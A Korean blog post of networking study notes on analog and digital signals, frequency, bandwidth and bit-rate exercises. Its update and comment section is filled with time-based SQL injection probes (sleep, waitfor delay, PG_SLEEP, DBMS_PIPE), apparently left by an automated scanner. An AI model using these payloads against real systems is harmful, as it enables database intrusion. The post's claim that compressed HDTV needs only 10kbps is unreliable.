[네트워크프로토콜] Data and Signals(1)
by VICENTE97P4
March 8, 2022, 7:03 p.m.
이번 챕터는 신호 변환에 관한 이야기입니다.
data를 보내기 위해서는 전자기(전기, 자기) 신호로 바꿔야 합니다.
Data -> Signal -> 전송매체
위 순서를 거쳐 전송매체를 통해 data를 전송합니다.
digital은 이산적이고(0, 1 등 값이 떨어지는, 셀 수 있는 데이터), analog는 연속적입니다.
digital 신호를 쓰는 경우: 유선이면서 근거리
analog 신호를 쓰는 경우: 무선 또는 장거리
Analog 신호부터 봅시다.
위 그림은 주기를 갖는 sine파 입니다.
sine파를 결정하는 것은 진폭, 주파수, 위상입니다.
이 sine파에 정보를 담기 위해서는 진폭을 바꾸거나, 위상을 바꾸거나, 주기를 바꾸거나 해야합니다.
달랑 이 sine파 하나만 보내면 아무런 정보도 전달하지 못합니다.
위 그림은 진폭으로 신호를 결정하는 모습입니다.
주기를 알면 주파수를, 주파수를 알면 주기를 알 수 있습니다.
둘은 역수 관계입니다.
f가 주파수(frequency), T가 주기입니다.
주파수는 1초에 반복되는 횟수를 의미하고 주기는 신호가 한 번 반복될 때 걸리는 시간입니다.
a는 1초에 12번 반복이 있으니 주파수는 12Hz, 주기는 1/12초입니다.
b는 1초에 6번 반복이 있으니 주파수는 6Hz, 주기는 1/6초입니다.
a가 주파수가 더 높으니 고주파수, b는 저주파수라 할 수 있습니다.
최근에 나온 5G 기술은 약 3.5GHz의 주파수를 사용하고 있다고 합니다.
그에 반해 전력공급에 쓰는 주파수는 60Hz라고 합니다.
이렇게 다양한 범위의 주파수를 쓰는 이유는 서로 중복되어 충돌하지 않기 위함입니다.
통신이 비교적 고주파수를 쓰는 이유는 bandwidth를 넓게 하기 위해서입니다.
주파수는 bandwidth와 비례의 관계에 있고, bandwidth가 넓으면 고속 전송이 가능하기 때문입니다.
주파수가 0이면 직류라고 하고, 순간적으로 확확 변하면 무한대 주파수라고 합니다.
cable(유선)은 빛의 속도의 약 2/3 정도로 전송한다고 합니다.
시간 영역의 신호를 주파수 영역으로 바꿔줄 수 있습니다.
퓨리어 변환을 사용하면 되는데 이에 대해서 자세히 다루지는 않겠습니다.
a 그림처럼 시간 영역으로 표현된 신호를 b 그림처럼 주파수 영역으로 표현할 수 있습니다.
spike 하나로 표현할 수 있음을 알 수 있습니다.
2.4GHz는 정부의 허가없이 쓸 수 있는데, 무선 LAN이 주로 쓴다고 합니다.
그런데 무선 LAN 뿐만이 아니라 블루투스 등도 이 주파수를 사용하기 때문에 간혹 문제가 생길 때도 있다고 합니다.
위 그림은 사람의 음성 signal입니다. b를 보면 알겠지만 4KHz 정도에서 잘랐습니다.
전화하면 음색이 조금 바뀌는 것을 다들 아실겁니다.
그 이유는 실제 음성은 약 10KHz까지 표현되는데 전화에서는 약 4KHz까지만 잘라서 쓰고,
그 너머의 주파수는 버리기 때문입니다.
4KHz까지만 사용해도 말을 알아듣는 데에는 문제가 없기 때문이죠.
아무튼 위 a 그림에 표현된 음성 signal처럼 자연에 있는 analog data는 주기가 없는 경우가 대부분입니다.
그리고 b 그림에서 보듯이, 비주기 신호는 주파수 영역에서 보면 연속적입니다.
이와 반대로 주기 신호는 주파수 영역에서 보면 이산적입니다.
대역폭(bandwidth): 가장 높은 주파수와 낮은 주파수의 차이를 대역폭이라 합니다.
이제 digital 신호를 봅시다.
주로 전압(pulse)를 사용합니다.
0은 0V, 1은 약 5V를 사용합니다.
디지털 신호 변조(modulation) 방식에는 3가지가 있습니다.
amplitude(진폭) 변조: AM 방식
frequency(주파수) 변조: FM 방식
phase(위상) 변조: PM 방식
모뎀이 신호를 변환해주는 역할을 합니다.
요새는 크기가 작아져서 폰에 들어있습니다.
신호를 보낼 때 송수신기 간에 시간 동기를 맞추는 것이 중요하고 까다로운 기술이라고 합니다.
a 그림처럼 2 level로 전송하면 한 번에 1bit씩, b 그림처럼 4 level로 전송하면 한 번에 2bits씩 전송할 수 있습니다.
level을 많이 두면 한 번에 많이 전송할 수 있죠.
그런데 수신측에서 구분하는 작업을 해야 하므로 무작정 level을 늘리기는 힘듭니다.
level 개수에 log를 취하면 보낼 수 있는 bit 수가 나옵니다.
8 level이 있으면 3bit를 한번에 보낼 수 있습니다.
bit rate 구하기 문제를 풀어봅시다.
문제를 대충 요약하면 음성 신호를 보낼 건데, bandwidth 4kHz, 신호 2개를 한 번에 보내야 하고, 8bits를 한 번에 보낸다고 합니다.
정답은 2 * 4000 * 8 = 64,000bps = 64kbps입니다.
실제로 현재 통화할 때 이정도의 bit rate가 필요하다고 합니다.
음성은 필요한 bit rate가 낮은 편이고, 영상이 필요한 bit rate가 높습니다.
다른 문제를 풀어봅시다.
HDTV 통신을 할건데, 총 픽셀이 1920 * 1080개 있고, 초당 30개의 프레임이 필요하고, 색 표현에 24bit를 사용한다고 합니다.
정답은 1920 * 1080 * 30 * 24 = 약 1.5Gbps입니다.
실제 HDTV에는 압축을 해서 보내기 때문에 1.5Gbps보다 훨씬 적은 10kbps로 떨어진다고 합니다.
이상 정리를 마치겠습니다.
네트워크프로토콜 26 view 782
L2PifP08
Updated: Feb. 22, 2025, 5:32 p.m.
*1
Updated: Feb. 22, 2025, 5:32 p.m.
*1
Updated: Feb. 22, 2025, 5:32 p.m.
*1
Updated: Feb. 22, 2025, 5:32 p.m.
*1
Updated: Feb. 22, 2025, 5:32 p.m.
-1 OR 2+241-241-1=0+0+0+1
Updated: Feb. 22, 2025, 5:32 p.m.
-1 OR 3+241-241-1=0+0+0+1
Updated: Feb. 22, 2025, 5:32 p.m.
*if(now()=sysdate(),sleep(15),0)
Updated: Feb. 22, 2025, 5:32 p.m.
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
Updated: Feb. 22, 2025, 5:32 p.m.
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
Updated: Feb. 22, 2025, 5:32 p.m.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Updated: Feb. 22, 2025, 5:32 p.m.
-1; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:32 p.m.
-1); waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:32 p.m.
-1 waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:32 p.m.
RkJBBwjo'; waitfor delay '0:0:15' --
Updated: Feb. 22, 2025, 5:32 p.m.
-1 OR 885=(SELECT 885 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:32 p.m.
-1) OR 47=(SELECT 47 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:32 p.m.
-1)) OR 91=(SELECT 91 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:32 p.m.
B6S8Ztex' OR 554=(SELECT 554 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:32 p.m.
k6TPuoFI') OR 602=(SELECT 602 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:32 p.m.
nuYZeODX')) OR 75=(SELECT 75 FROM PG_SLEEP(15))--
Updated: Feb. 22, 2025, 5:32 p.m.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Updated: Feb. 22, 2025, 5:32 p.m.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Updated: Feb. 22, 2025, 5:32 p.m.
'"
Updated: Feb. 22, 2025, 5:32 p.m.
����%2527%2522\'\"
Updated: Feb. 22, 2025, 5:32 p.m.
@@diFpU
Updated: Feb. 22, 2025, 5:32 p.m.